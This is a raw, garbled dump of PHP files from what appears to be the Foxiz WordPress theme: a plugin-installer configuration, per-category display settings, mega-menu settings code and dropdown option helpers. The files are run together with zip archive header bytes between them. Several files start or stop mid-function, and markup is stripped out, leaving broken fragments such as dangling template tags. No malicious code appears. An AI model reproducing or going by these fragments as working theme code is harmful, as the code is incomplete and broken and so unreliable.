|| 1 === $value ) ) { return (bool) $value; } elseif ( ( is_float( $value ) && ! is_nan( $value ) ) && ( (float) 0 === $value || (float) 1 === $value ) ) { return (bool) $value; } elseif ( is_string( $value ) ) { $value = trim( $value ); if ( in_array( $value, $true, true ) ) { return true; } elseif ( in_array( $value, $false, true ) ) { return false; } else { return false; } } return false; } } // End of class TGMPA_Utils } // End of class_exists wrapper PK! install-plugins.phpnu[ esc_html__( 'Foxiz Core', 'foxiz' ), 'slug' => 'foxiz-core', 'source' => get_theme_file_path( 'plugins/foxiz-core.zip' ), 'required' => true, 'version' => '1.4', 'force_activation' => false, 'force_deactivation' => false, 'external_url' => '', 'is_callable' => '', ), array( 'name' => esc_html__( 'Elementor Website Builder', 'foxiz' ), 'slug' => 'elementor', 'required' => true, ), array( 'name' => 'Envato Market', 'slug' => 'envato-market', 'source' => get_theme_file_path( 'plugins/envato-market.zip' ), 'force_activation' => false, 'force_deactivation' => false, 'external_url' => '', ), array( 'name' => esc_html__( 'Breadcrumb NavXT', 'foxiz' ), 'slug' => 'breadcrumb-navxt', 'required' => false, ), array( 'name' => esc_html__( 'Post Views Counter', 'foxiz' ), 'slug' => 'post-views-counter', 'required' => false, ), ); $foxiz_config = array( 'id' => 'foxiz', 'default_path' => '', 'menu' => 'foxiz-plugins', 'parent_slug' => 'themes.php', 'capability' => 'edit_theme_options', 'has_notices' => true, 'dismissable' => true, 'dismiss_msg' => '', 'is_automatic' => false, 'message' => '', 'strings' => array( 'page_title' => esc_html__( 'Install Required Plugins', 'foxiz' ), 'menu_title' => esc_html__( 'Install Plugins', 'foxiz' ), 'installing' => esc_html__( 'Installing Plugin: %s', 'foxiz' ), 'oops' => esc_html__( 'Something went wrong with the plugin API.', 'foxiz' ), 'notice_can_install_required' => _n_noop( 'Foxiz the following plugin: %1$s.', 'Foxiz requires the following plugins: %1$s.', 'foxiz' ), 'notice_can_install_recommended' => _n_noop( 'Foxiz recommends the following plugin: %1$s.', 'Foxiz recommends the following plugins: %1$s.', 'foxiz' ), 'notice_cannot_install' => _n_noop( 'Sorry, but you do not have the correct permissions to install the %s plugin. Contact the administrator of this site for help on getting the plugin installed.', 'Sorry, but you do not have the correct permissions to install the %s plugins. Contact the administrator of this site for help on getting the plugins installed.', 'foxiz' ), 'notice_can_activate_required' => _n_noop( 'The following required plugin is currently inactive: %1$s.', 'The following required plugins are currently inactive: %1$s.', 'foxiz' ), 'notice_can_activate_recommended' => _n_noop( 'The following recommended plugin is currently inactive: %1$s.', 'The following recommended plugins are currently inactive: %1$s.', 'foxiz' ), 'notice_cannot_activate' => _n_noop( 'Sorry, but you do not have the correct permissions to activate the %s plugin. Contact the administrator of this site for help on getting the plugin activated.', 'Sorry, but you do not have the correct permissions to activate the %s plugins. Contact the administrator of this site for help on getting the plugins activated.', 'foxiz' ), 'notice_ask_to_update' => _n_noop( 'The following plugin needs to be updated to its latest version to ensure maximum compatibility with Foxiz: %1$s.', 'The following plugins need to be updated to their latest version to ensure maximum compatibility with Foxiz: %1$s.', 'foxiz' ), 'notice_cannot_update' => _n_noop( 'Sorry, but you do not have the correct permissions to update the %s plugin. Contact the administrator of this site for help on getting the plugin updated.', 'Sorry, but you do not have the correct permissions to update the %s plugins. Contact the administrator of this site for help on getting the plugins updated.', 'foxiz' ), 'install_link' => _n_noop( 'Begin installing plugin', 'Begin installing plugins', 'foxiz' ), 'activate_link' => _n_noop( 'Begin activating plugin', 'Begin activating plugins', 'foxiz' ), 'return' => esc_html__( 'Return to Required Plugins Installer', 'foxiz' ), 'plugin_activated' => esc_html__( 'Plugin activated successfully.', 'foxiz' ), 'complete' => esc_html__( 'All plugins installed and activated successfully. %s', 'foxiz' ), 'nag_type' => 'updated' ) ); tgmpa( $plugins, $foxiz_config ); } }PK!`Q`Qcategory-settings.phpnu[ esc_html__( 'Foxiz - Individual Category Settings', 'foxiz' ), 'info' => esc_html__( 'The settings below will override on the default settings in "Theme Options > Category".', 'foxiz' ), 'taxonomies' => array( 'category' ), 'id' => 'foxiz_category_meta', 'fields' => array( array( 'id' => 'category_color_info', 'name' => esc_html__( 'Entry Category Colors', 'foxiz' ), 'type' => 'info' ), array( 'id' => 'highlight_color', 'name' => esc_html__( 'Highlight Color', 'foxiz' ), 'desc' => esc_html__( 'Select a highlight color for the entry category to display in the post listing.', 'foxiz' ), 'type' => 'color', 'std' => '', ), array( 'id' => 'color', 'name' => esc_html__( 'Text Color', 'foxiz' ), 'desc' => esc_html__( 'Select a text color for the entry category to display in the post listing. Leave blank to set it as the default.', 'foxiz' ), 'type' => 'color', 'std' => '', ), array( 'id' => 'dark_color', 'name' => esc_html__( 'Dark Mode - Text Color', 'foxiz' ), 'desc' => esc_html__( 'Select a text color for the entry category to display in the post listing in the dark mode.', 'foxiz' ), 'type' => 'color', 'std' => '', ), array( 'id' => 'header_info', 'name' => esc_html__( 'Site Header', 'foxiz' ), 'type' => 'info' ), array( 'id' => 'header_style', 'name' => esc_html__( 'Header Style', 'foxiz' ), 'desc' => esc_html__( 'Select a header style for this category.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_header_style( true, true ), 'std' => '0' ), array( 'id' => 'header_template', 'name' => esc_html__( 'Header Template Shortcode', 'foxiz' ), 'desc' => esc_html__( 'Input a Ruby Template shortcode for displaying as the website header for this category. Leave blank to use the above setting.', 'foxiz' ), 'type' => 'textarea', 'placeholder' => '[Ruby_E_Template id="1"]', 'rows' => '2', 'std' => '' ), array( 'id' => 'category_header_info', 'name' => esc_html__( 'Category Header', 'foxiz' ), 'type' => 'info' ), array( 'id' => 'category_header', 'name' => esc_html__( 'Category Header', 'foxiz' ), 'desc' => esc_html__( 'Disable or select a category header style for this category page.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_category_header( true ), 'std' => '0' ), array( 'id' => 'featured_image', 'name' => esc_html__( 'Featured Images', 'foxiz' ), 'desc' => esc_html__( 'Upload featured images (maximum: 2 images) for this category.', 'foxiz' ), 'type' => 'image' ), array( 'id' => 'pattern', 'name' => esc_html__( 'Header Background Style', 'foxiz' ), 'desc' => esc_html__( 'Select a background style for this category header.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_archive_header_bg( true ), 'std' => '0' ), array( 'id' => 'breadcrumb', 'name' => esc_html__( 'Breadcrumb', 'foxiz' ), 'desc' => esc_html__( 'Enable or disable the breadcrumb in this category header.', 'foxiz' ), 'type' => 'select', 'options' => array( '0' => esc_html__( '- Default -', 'foxiz' ), '1' => esc_html__( 'Use Global Setting', 'foxiz' ), '-1' => esc_html__( 'Disable', 'foxiz' ) ), 'std' => '0' ), array( 'id' => 'subcategory', 'name' => esc_html__( 'Sub Categories List', 'foxiz' ), 'desc' => esc_html__( 'Enable or disable the sub category list in this category header.', 'foxiz' ), 'type' => 'select', 'options' => array( '0' => esc_html__( '- Default -', 'foxiz' ), '1' => esc_html__( 'Enable', 'foxiz' ), '-1' => esc_html__( 'Disable', 'foxiz' ) ), 'std' => '0' ), array( 'id' => 'builder_info', 'name' => esc_html__( 'Top Template Builder', 'foxiz' ), 'type' => 'info' ), array( 'id' => 'template', 'name' => esc_html__( 'Top Area Template Shortcode', 'foxiz' ), 'desc' => esc_html__( 'Input a "Ruby Template" shortcode to embed it after this category header, ie: [Ruby_E_Template id="1"]', 'foxiz' ), 'type' => 'textarea', 'rows' => '2', 'placeholder' => '[Ruby_E_Template id="1"]', 'std' => '' ), array( 'id' => 'template_display', 'name' => esc_html__( 'Template Display', 'foxiz' ), 'desc' => esc_html__( 'Show template in the first or all pages.', 'foxiz' ), 'type' => 'select', 'options' => array( '0' => esc_html__( '- Default -', 'foxiz' ), '1' => esc_html__( 'Show in the first page', 'foxiz' ), '2' => esc_html__( 'Show in all pages', 'foxiz' ) ), 'std' => '0' ), array( 'id' => 'template_global_info', 'name' => esc_html__( 'Global Blog Template Builder', 'foxiz' ), 'type' => 'info' ), array( 'id' => 'template_global', 'name' => esc_html__( 'Global WP Query Template Shortcode', 'foxiz' ), 'desc' => esc_html__( 'Input a "Ruby Template" shortcode to show it as a the main blog listing for this category.', 'foxiz' ), 'type' => 'textarea', 'rows' => '2', 'placeholder' => '[Ruby_E_Template id="1"]', 'std' => '' ), array( 'id' => 'posts_per_page_info', 'name' => esc_html__( 'Posts Per Page', 'foxiz' ), 'type' => 'info' ), array( 'id' => 'posts_per_page', 'name' => esc_html__( 'Posts per Page', 'foxiz' ), 'desc' => esc_html__( 'Select posts per page for this category. Leave this option blank to set the default.', 'foxiz' ), 'type' => 'text', 'classes' => 'small', 'std' => '', ), array( 'id' => 'blog_info', 'name' => esc_html__( 'Latest Posts - Heading', 'foxiz' ), 'type' => 'info' ), array( 'id' => 'blog_heading', 'name' => esc_html__( 'Heading', 'foxiz' ), 'desc' => esc_html__( 'Input a heading for the post listing. Leave this option blank to set the default.', 'foxiz' ), 'type' => 'text', 'std' => '', ), array( 'id' => 'blog_heading_layout', 'name' => esc_html__( 'Heading Layout', 'foxiz' ), 'desc' => esc_html__( 'Select a heading layout for the heading.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_heading_layout( true ), 'std' => '', ), array( 'id' => 'blog_heading_tag', 'name' => esc_html__( 'Heading HTML Tag', 'foxiz' ), 'desc' => esc_html__( 'Select a HTML tag for this heading. Leave this option blank to set the default.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_heading_tag(), 'std' => '', ), array( 'id' => 'blog_heading_size', 'name' => esc_html__( 'Heading Font Size (Desktop)', 'foxiz' ), 'desc' => esc_html__( 'Input a custom font size value for this heading (px) on the desktop. Leave this option blank to set the default value.', 'foxiz' ), 'type' => 'text', 'classes' => 'small', 'std' => '', ), array( 'id' => 'pagination_info', 'name' => esc_html__( 'Latest Posts - Pagination', 'foxiz' ), 'type' => 'info' ), array( 'id' => 'tag_not_in', 'name' => esc_html__( 'Exclude Tags Slug', 'foxiz' ), 'desc' => esc_html__( 'Exclude tag slugs for the latest blog. Separated by commas (for example: tagslug1,tagslug2,tagslug3).', 'foxiz' ), 'type' => 'text', 'std' => '', ), array( 'id' => 'pagination', 'name' => esc_html__( 'Pagination Type', 'foxiz' ), 'desc' => esc_html__( 'Select pagination type for this category.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_blog_pagination( true ), 'std' => '0' ), array( 'id' => 'column_info', 'name' => esc_html__( 'Latest Posts - Layout', 'foxiz' ), 'type' => 'info' ), array( 'id' => 'layout', 'name' => esc_html__( 'Blog Listing Layout', 'foxiz' ), 'desc' => esc_html__( 'Select blog listing layout for this category.', 'foxiz' ), 'type' => 'select', 'options' => array( '0' => esc_html__( '- Default -', 'foxiz' ), 'classic_1' => esc_html__( 'Classic (Standard)', 'foxiz' ), 'grid_1' => esc_html__( 'Grid 1 (Standard)', 'foxiz' ), 'grid_2' => esc_html__( 'Grid 2', 'foxiz' ), 'grid_box_1' => esc_html__( 'Boxed Grid 1', 'foxiz' ), 'grid_box_2' => esc_html__( 'Boxed Grid 2', 'foxiz' ), 'grid_small_1' => esc_html__( 'Small Grid', 'foxiz' ), 'list_1' => esc_html__( 'List 1', 'foxiz' ), 'list_2' => esc_html__( 'List 2', 'foxiz' ), 'list_box_1' => esc_html__( 'Boxed List 1', 'foxiz' ), 'list_box_2' => esc_html__( 'Boxed List 2', 'foxiz' ), ), 'std' => '0' ), array( 'id' => 'columns', 'name' => esc_html__( 'Columns on Desktop', 'foxiz' ), 'desc' => esc_html__( 'Select total columns to show per row for the blog listing layout on the desktop device.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_blog_columns(), 'std' => '0' ), array( 'id' => 'columns_tablet', 'name' => esc_html__( 'Columns on Tablet', 'foxiz' ), 'desc' => esc_html__( 'Select total columns to show per row for the blog listing layout on the tablet device.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_blog_columns(), 'std' => '0' ), array( 'id' => 'columns_mobile', 'name' => esc_html__( 'Columns on Mobile', 'foxiz' ), 'desc' => esc_html__( 'Select total columns to show per row for the blog listing layout on the mobile device.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_blog_columns( array( '0', '1', '2' ) ), 'std' => '0' ), array( 'id' => 'column_gap', 'name' => esc_html__( 'Columns Gap', 'foxiz' ), 'desc' => esc_html__( 'Select a spacing between columns for the blog listing layout.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_blog_column_gap(), 'std' => '0' ), array( 'id' => 'sidebar_info', 'name' => esc_html__( 'Latest Posts - Sidebar', 'foxiz' ), 'type' => 'info' ), array( 'id' => 'sidebar_position', 'name' => esc_html__( 'Sidebar Position', 'foxiz' ), 'desc' => esc_html__( 'Select a sidebar position or disable it for the latest blog section.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_category_sidebar_position(), 'std' => '0' ), array( 'id' => 'sidebar_name', 'name' => esc_html__( 'Assign a Sidebar', 'foxiz' ), 'desc' => esc_html__( 'Assign a widget section for the sidebar for the latest blog section if it is enabled.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_sidebar_name(), 'std' => '0' ), array( 'id' => 'sticky_sidebar', 'name' => esc_html__( 'Sticky Sidebar', 'foxiz' ), 'desc' => esc_html__( 'Making this sidebar permanently visible when scrolling up and down.', 'foxiz' ), 'type' => 'select', 'options' => array( '0' => esc_html__( '- Default -', 'foxiz' ), '1' => esc_html__( 'Enable', 'foxiz' ), '-1' => esc_html__( 'Disable', 'foxiz' ) ), 'std' => '0' ), array( 'id' => 'design_info', 'name' => esc_html__( 'Blog Design', 'foxiz' ), 'type' => 'info' ), array( 'id' => 'crop_size', 'name' => esc_html__( 'Featured Image Size', 'foxiz' ), 'desc' => esc_html__( 'Select a crop size for the featured image to displaying in this category.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_crop_size(), 'std' => '0' ), array( 'id' => 'display_ratio', 'name' => esc_html__( 'Custom Featured Ratio', 'foxiz' ), 'desc' => esc_html__( 'Input custom ratio percent (height*100/width) for featured image you would like. For example: 50', 'foxiz' ), 'type' => 'text', 'placeholder' => '50', 'classes' => 'small', 'std' => '' ), array( 'id' => 'entry_meta_bar', 'name' => esc_html__( 'Entry Meta Bar', 'foxiz' ), 'desc' => esc_html__( 'Select settings for the entry meta bar.', 'foxiz' ), 'type' => 'select', 'options' => array( '0' => esc_html__( '- Default -', 'foxiz' ), '-1' => esc_html__( 'Disable', 'foxiz' ), 'custom' => esc_html__( 'Custom Below', 'foxiz' ), ), 'std' => '0' ), array( 'id' => 'entry_meta', 'type' => 'text', 'name' => esc_html__( 'Entry Meta Tags', 'foxiz' ), 'desc' => esc_html__( 'Input entry meta tags to show. Separated by commas (for example: author,date). All meta keys include: [author, date, category, tag, view, comment, update, read, custom]', 'foxiz' ), 'placeholder' => esc_html__( 'avatar,author,date', 'foxiz' ), 'std' => '' ), array( 'id' => 'review', 'name' => esc_html__( 'Post Format Icon', 'foxiz' ), 'desc' => esc_html__( 'Disable or select setting for entry review meta.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_entry_review( true ), 'std' => '0' ), array( 'id' => 'review_meta', 'name' => esc_html__( 'Review Meta', 'foxiz' ), 'desc' => esc_html__( 'Enable or disable the meta description at the end of the review bar.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_switch_dropdown(), 'std' => '0' ), array( 'id' => 'entry_format', 'name' => esc_html__( 'Post Format Icon', 'foxiz' ), 'desc' => esc_html__( 'Disable or select setting for the post format.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_entry_format( true ), 'std' => '0' ), array( 'id' => 'bookmark', 'name' => esc_html__( 'Bookmark Icon', 'foxiz' ), 'desc' => esc_html__( 'Enable or disable the bookmark icon.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_switch_dropdown(), 'std' => '0' ), array( 'id' => 'excerpt', 'name' => esc_html__( 'Excerpt', 'foxiz' ), 'desc' => esc_html__( 'Select settings for the post excerpt.', 'foxiz' ), 'type' => 'select', 'options' => array( '0' => esc_html__( '- Default -', 'foxiz' ), '1' => esc_html__( 'Custom Settings Below', 'foxiz' ), ), 'std' => '0' ), array( 'id' => 'excerpt_length', 'name' => esc_html__( 'Excerpt - Max Length', 'foxiz' ), 'desc' => esc_html__( 'select max length of the post excerpt.', 'foxiz' ), 'type' => 'text', 'classes' => 'small', 'std' => '0' ), array( 'id' => 'excerpt_source', 'name' => esc_html__( 'Excerpt - Source', 'foxiz' ), 'desc' => esc_html__( 'Where to get the post excerpt.', 'foxiz' ), 'description' => esc_html__( 'When you select "use title tagline". if it is empty, it will fallback to the post excerpt or content.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_excerpt_source(), 'std' => 'tagline' ), array( 'id' => 'readmore', 'name' => esc_html__( 'Read More Button', 'foxiz' ), 'desc' => esc_html__( 'Enable or disable the read more button.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_switch_dropdown(), 'std' => '0' ), array( 'id' => 'title_tag', 'name' => esc_html__( 'Title HTML Tag', 'foxiz' ), 'desc' => esc_html__( 'Select a title HTML tag for the post title.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_heading_tag(), 'std' => 0 ), array( 'id' => 'title_size', 'name' => esc_html__( 'Desktop - Title Font Size', 'foxiz' ), 'desc' => esc_html__( 'Select a font size (px) for the post title in the desktop device. Leave blank to set it as the default.', 'foxiz' ), 'type' => 'text', 'classes' => 'small', 'std' => '' ), array( 'id' => 'title_size_tablet', 'name' => esc_html__( 'Tablet - Title Font Size', 'foxiz' ), 'desc' => esc_html__( 'Select a font size (px) for the post title in the table devices. Leave blank to set it as the default.', 'foxiz' ), 'type' => 'text', 'classes' => 'small', 'std' => '' ), array( 'id' => 'title_size_mobile', 'name' => esc_html__( 'Mobile - Title Font Size', 'foxiz' ), 'desc' => esc_html__( 'Select a font size (px) for the post title in the mobile device. Leave blank to set it as the default.', 'foxiz' ), 'type' => 'text', 'classes' => 'small', 'std' => '' ), array( 'id' => 'hide_category', 'name' => esc_html__( 'Responsive - Hide Entry Category', 'foxiz' ), 'desc' => esc_html__( 'Hide the entry category on the tablet and mobile devices.', 'foxiz' ), 'type' => 'select', 'options' => array( '0' => esc_html__( 'Default from Category Settings', 'foxiz' ), 'mobile' => esc_html__( 'On Mobile', 'foxiz' ), 'tablet' => esc_html__( 'On Tablet', 'foxiz' ), 'all' => esc_html__( 'On Tablet & Mobile', 'foxiz' ), '-1' => esc_html__( 'Disable', 'foxiz' ) ), 'std' => '0' ), array( 'id' => 'tablet_hide_meta', 'name' => esc_html__( 'Tablet - Hide Entry Meta', 'foxiz' ), 'desc' => esc_html__( 'Input entry meta tags to hide on the tablet devices, separate by comma. For example: avatar, author... Keys include: [avatar, author, date, category, tag, view, comment, update, read, custom]. Input -1 to re-enable all meta.', 'foxiz' ), 'type' => 'text', 'placeholder' => esc_html__( 'avatar,author', 'foxiz' ), 'default' => '' ), array( 'id' => 'mobile_hide_meta', 'name' => esc_html__( 'Mobile - Hide Entry Meta', 'foxiz' ), 'desc' => esc_html__( 'Input entry meta tags to hide on the mobile devices, separate by comma. For example: avatar, author... Keys include: [avatar, author, date, category, tag, view, comment, update, read, custom]. Input -1 to re-enable all meta.', 'foxiz' ), 'type' => 'text', 'placeholder' => esc_html__( 'avatar,author', 'foxiz' ), 'default' => '' ), array( 'id' => 'hide_excerpt', 'name' => esc_html__( 'Responsive - Hide Excerpt', 'foxiz' ), 'desc' => esc_html__( 'Hide the post excerpt on the tablet and mobile devices.', 'foxiz' ), 'type' => 'select', 'options' => array( '0' => esc_html__( 'Default from Category Settings', 'foxiz' ), 'mobile' => esc_html__( 'On Mobile', 'foxiz' ), 'tablet' => esc_html__( 'On Tablet', 'foxiz' ), 'all' => esc_html__( 'On Tablet & Mobile', 'foxiz' ), '-1' => esc_html__( 'Disable', 'foxiz' ) ), 'std' => '0' ), ) ); new RW_Custom_Taxonomy_Meta( $configs ); } }PK!IJN{{load.phpnu[ esc_html__( '1 Column', 'foxiz' ), '2' => esc_html__( '2 Columns', 'foxiz' ), '3' => esc_html__( '3 Columns', 'foxiz' ), '4' => esc_html__( '4 Columns', 'foxiz' ), '5' => esc_html__( '5 Columns', 'foxiz' ), ); $settings = get_option( 'rb_menu_settings_' . $nav_menu_selected_id, array() ); $mega_category = ''; $mega_layout = ''; $mega_columns = ''; $mega_cpr = ''; $icon = ''; $icon_image = ''; $dark_icon_image = ''; $sub_label = ''; $sub_label_color = ''; $sub_label_bg = ''; $sub_label_dark_color = ''; $sub_label_dark_bg = ''; $mega_shortcode = ''; $mega_width = ''; if ( isset( $settings[ $item_id ]['category'] ) ) { $mega_category = $settings[ $item_id ]['category']; } if ( isset( $settings[ $item_id ]['layout'] ) ) { $mega_layout = $settings[ $item_id ]['layout']; } if ( isset( $settings[ $item_id ]['sub_scheme'] ) ) { $mega_scheme = $settings[ $item_id ]['sub_scheme']; } if ( isset( $settings[ $item_id ]['columns'] ) ) { $mega_columns = $settings[ $item_id ]['columns']; } if ( isset( $settings[ $item_id ]['columns_per_row'] ) ) { $mega_cpr = $settings[ $item_id ]['columns_per_row']; } if ( isset( $settings[ $item_id ]['icon'] ) ) { $icon = $settings[ $item_id ]['icon']; } if ( isset( $settings[ $item_id ]['icon_image'] ) ) { $icon_image = $settings[ $item_id ]['icon_image']; } if ( isset( $settings[ $item_id ]['dark_icon_image'] ) ) { $dark_icon_image = $settings[ $item_id ]['dark_icon_image']; } if ( isset( $settings[ $item_id ]['sub_label'] ) ) { $sub_label = $settings[ $item_id ]['sub_label']; } if ( isset( $settings[ $item_id ]['sub_label_color'] ) ) { $sub_label_color = $settings[ $item_id ]['sub_label_color']; } if ( isset( $settings[ $item_id ]['sub_label_bg'] ) ) { $sub_label_bg = $settings[ $item_id ]['sub_label_bg']; } if ( isset( $settings[ $item_id ]['sub_label_dark_color'] ) ) { $sub_label_dark_color = $settings[ $item_id ]['sub_label_dark_color']; } if ( isset( $settings[ $item_id ]['sub_label_dark_bg'] ) ) { $sub_label_dark_bg = $settings[ $item_id ]['sub_label_dark_bg']; } if ( isset( $settings[ $item_id ]['mega_shortcode'] ) ) { $mega_shortcode = $settings[ $item_id ]['mega_shortcode']; } if ( isset( $settings[ $item_id ]['mega_width'] ) ) { $mega_width = $settings[ $item_id ]['mega_width']; } ?>
object ) : ?>

object ) : ?>

Widgets) as this mega menu. Each widget is added will be corresponding to a column.', 'foxiz' ); ?>

Theme Design > Font Awesome" if you use this font icon classname.', 'foxiz' ); ?>

$settings ) { $data[ $item_id ] = array_map( 'sanitize_text_field', $settings ); } } update_option( 'rb_menu_settings_' . $menu_id, $data ); } /** * @param $menu_id */ public function delete_settings( $menu_id ) { delete_option( 'rb_menu_settings_' . $menu_id ); } /** * @param string $messenger */ function empty_notification( $messenger = '' ) { if ( current_user_can( 'manage_options' ) ) { ?>

esc_html__( '- Default -', 'foxiz' ), '1' => esc_html__( 'Style 1 (Left Menu)', 'foxiz' ), '2' => esc_html__( 'Style 2 (Right Menu)', 'foxiz' ), '3' => esc_html__( 'Style 3 (Center Menu)', 'foxiz' ), '4' => esc_html__( 'Style 4 (Border)', 'foxiz' ), '5' => esc_html__( 'Style 5 (Center Logo)', 'foxiz' ), ); if ( $transparent ) { $settings['t1'] = esc_html__( 'Transparent - Style 1', 'foxiz' ); $settings['t2'] = esc_html__( 'Transparent - Style 2', 'foxiz' ); $settings['t3'] = esc_html__( 'Transparent - Style 3', 'foxiz' ); } if ( $template ) { $settings['rb_template'] = esc_html__( 'Use Ruby Template', 'foxiz' ); } if ( ! $default ) { unset( $settings[0] ); } return $settings; } } if ( ! function_exists( 'foxiz_config_heading_layout' ) ) { /** * @param false $default * * @return array|string[] */ function foxiz_config_heading_layout( $default = false ) { $settings = array( '0' => esc_html__( '- Default -', 'foxiz' ), '1' => esc_html__( 'Layout 1', 'foxiz' ), '2' => esc_html__( 'Layout 2', 'foxiz' ), '3' => esc_html__( 'Layout 3', 'foxiz' ), '4' => esc_html__( 'Layout 4', 'foxiz' ), '5' => esc_html__( 'Layout 5', 'foxiz' ), '6' => esc_html__( 'Layout 6', 'foxiz' ), '7' => esc_html__( 'Layout 7', 'foxiz' ), '8' => esc_html__( 'Layout 8', 'foxiz' ), '9' => esc_html__( 'Layout 9', 'foxiz' ), '10' => esc_html__( 'Layout 10', 'foxiz' ), '11' => esc_html__( 'Layout 11', 'foxiz' ), '12' => esc_html__( 'Layout 12', 'foxiz' ), '13' => esc_html__( 'Layout 13', 'foxiz' ), 'c1' => esc_html__( 'Layout 1 - Center', 'foxiz' ), 'c2' => esc_html__( 'Layout 2 - Center', 'foxiz' ), 'c3' => esc_html__( 'Layout 3 - Center', 'foxiz' ), 'c4' => esc_html__( 'Layout 4 - Center', 'foxiz' ), 'c5' => esc_html__( 'Layout 5 - Center', 'foxiz' ), 'c6' => esc_html__( 'Layout 6 - Center', 'foxiz' ), 'c7' => esc_html__( 'Layout 7 - Center', 'foxiz' ), 'c8' => esc_html__( 'Layout 8 - Center', 'foxiz' ), 'c9' => esc_html__( 'Layout 9 - Center', 'foxiz' ), 'c10' => esc_html__( 'Layout 10 - Center', 'foxiz' ), 'c11' => esc_html__( 'Layout 11 - Center', 'foxiz' ), 'c12' => esc_html__( 'Layout 12 - Center', 'foxiz' ), 'c13' => esc_html__( 'Layout 13 - Center', 'foxiz' ), ); if ( ! $default ) { unset( $settings[0] ); } return $settings; } } if ( ! function_exists( 'foxiz_config_sidebar_position' ) ) { /** * @param bool $default * @param false $none * * @return array|false|null[]|string[]|string[][] */ function foxiz_config_sidebar_position( $default = true, $none = true ) { if ( ! is_admin() ) { return false; } $sidebars = array(); if ( true === $default ) { $sidebars['default'] = array( 'alt' => '- Default -', 'img' => foxiz_get_asset_image( 'sidebar-default.png' ), 'title' => esc_html__( '- Default -', 'foxiz' ) ); }; if ( true === $none ) { $sidebars['none'] = array( 'alt' => 'none', 'img' => foxiz_get_asset_image( 'sidebar-none.png' ), 'title' => esc_html__( 'No Sidebar', 'foxiz' ) ); }; $sidebars['left'] = array( 'alt' => 'left sidebar', 'img' => foxiz_get_asset_image( 'sidebar-left.png' ), 'title' => esc_html__( 'Left', 'foxiz' ) ); $sidebars['right'] = array( 'alt' => 'right sidebar', 'img' => foxiz_get_asset_image( 'sidebar-right.png' ), 'title' => esc_html__( 'Right', 'foxiz' ) ); return $sidebars; } } if ( ! function_exists( 'foxiz_config_switch_dropdown' ) ) { /** * @return array */ function foxiz_config_switch_dropdown() { return array( '0' => esc_html__( '- Default -', 'foxiz' ), '1' => esc_html__( 'Enable', 'foxiz' ), '-1' => esc_html__( 'Disable', 'foxiz' ), ); } } if ( ! function_exists( 'foxiz_config_excerpt_dropdown' ) ) { /** * @return array */ function foxiz_config_excerpt_dropdown() { return array( '0' => esc_html__( '- Default -', 'foxiz' ), '1' => esc_html__( 'Custom Settings Below', 'foxiz' ) ); } } if ( ! function_exists( 'foxiz_config_excerpt_source' ) ) { /** * @return array * foxiz_config_excerpt_source */ function foxiz_config_excerpt_source() { return array( '0' => esc_html__( 'Use Post Excerpt', 'foxiz' ), 'tagline' => esc_html__( 'Use Title Tagline', 'foxiz' ), ); } } if ( ! function_exists( 'foxiz_config_heading_tag' ) ) { /** * @return array */ function foxiz_config_heading_tag() { return array( '0' => esc_html__( '- Default -', 'foxiz' ), 'h1' => esc_html__( 'H1', 'foxiz' ), 'h2' => esc_html__( 'H2', 'foxiz' ), 'h3' => esc_html__( 'H3', 'foxiz' ), 'h4' => esc_html__( 'H4', 'foxiz' ), 'h5' => esc_html__( 'H5', 'foxiz' ), 'h6' => esc_html__( 'H6', 'foxiz' ), 'p' => esc_html__( 'p tag', 'foxiz' ), 'span' => esc_html__( 'span', 'foxiz' ) ); } } if ( ! function_exists( 'foxiz_config_hide_dropdown' ) ) { function foxiz_config_hide_dropdown() { return array( '0' => esc_html__( '- Disable -', 'foxiz' ), 'mobile' => esc_html__( 'On Mobile', 'foxiz' ), 'tablet' => esc_html__( 'On Tablet', 'foxiz' ), 'all' => esc_html__( 'On Tablet & Mobile', 'foxiz' ) ); } } if ( ! function_exists( 'foxiz_config_menu_slug' ) ) { /** * @return array */ function foxiz_config_menu_slug() { $settings = array(); $menus = wp_get_nav_menus(); if ( ! empty ( $menus ) ) { foreach ( $menus as $item ) { $settings[ $item->slug ] = $item->name; } } return $settings; } } if ( ! function_exists( 'foxiz_config_standard_entry_category' ) ) { /** * @param false $default * * @return array */ function foxiz_config_standard_entry_category( $default = false ) { $settings = array( '0' => esc_html__( '- Default -', 'foxiz' ), 'bg-1' => esc_html__( 'Background 1', 'foxiz' ), 'bg-1,big' => esc_html__( 'Background 1 (Big)', 'foxiz' ), 'bg-2' => esc_html__( 'Background 2', 'foxiz' ), 'bg-2,big' => esc_html__( 'Background 2 (Big)', 'foxiz' ), 'bg-3' => esc_html__( 'Background 3', 'foxiz' ), 'bg-3,big' => esc_html__( 'Background 3 (Big)', 'foxiz' ), 'bg-4' => esc_html__( 'Background 4', 'foxiz' ), 'bg-4,big' => esc_html__( 'Background 4 (Big)', 'foxiz' ), '-1' => esc_html__( 'Disable', 'foxiz' ) ); if ( ! $default ) { unset( $settings[0] ); unset( $settings['-1'] ); $settings['0'] = esc_html__( 'Disable', 'foxiz' ); } return $settings; } } if ( ! function_exists( 'foxiz_config_extended_entry_category' ) ) { /** * @param false $default * * @return array */ function foxiz_config_extended_entry_category( $default = false ) { $settings = array( '0' => esc_html__( '- Default -', 'foxiz' ), 'bg-1' => esc_html__( 'Background 1', 'foxiz' ), 'bg-1,big' => esc_html__( 'Background 1 (Big)', 'foxiz' ), 'bg-2' => esc_html__( 'Background 2', 'foxiz' ), 'bg-2,big' => esc_html__( 'Background 2 (Big)', 'foxiz' ), 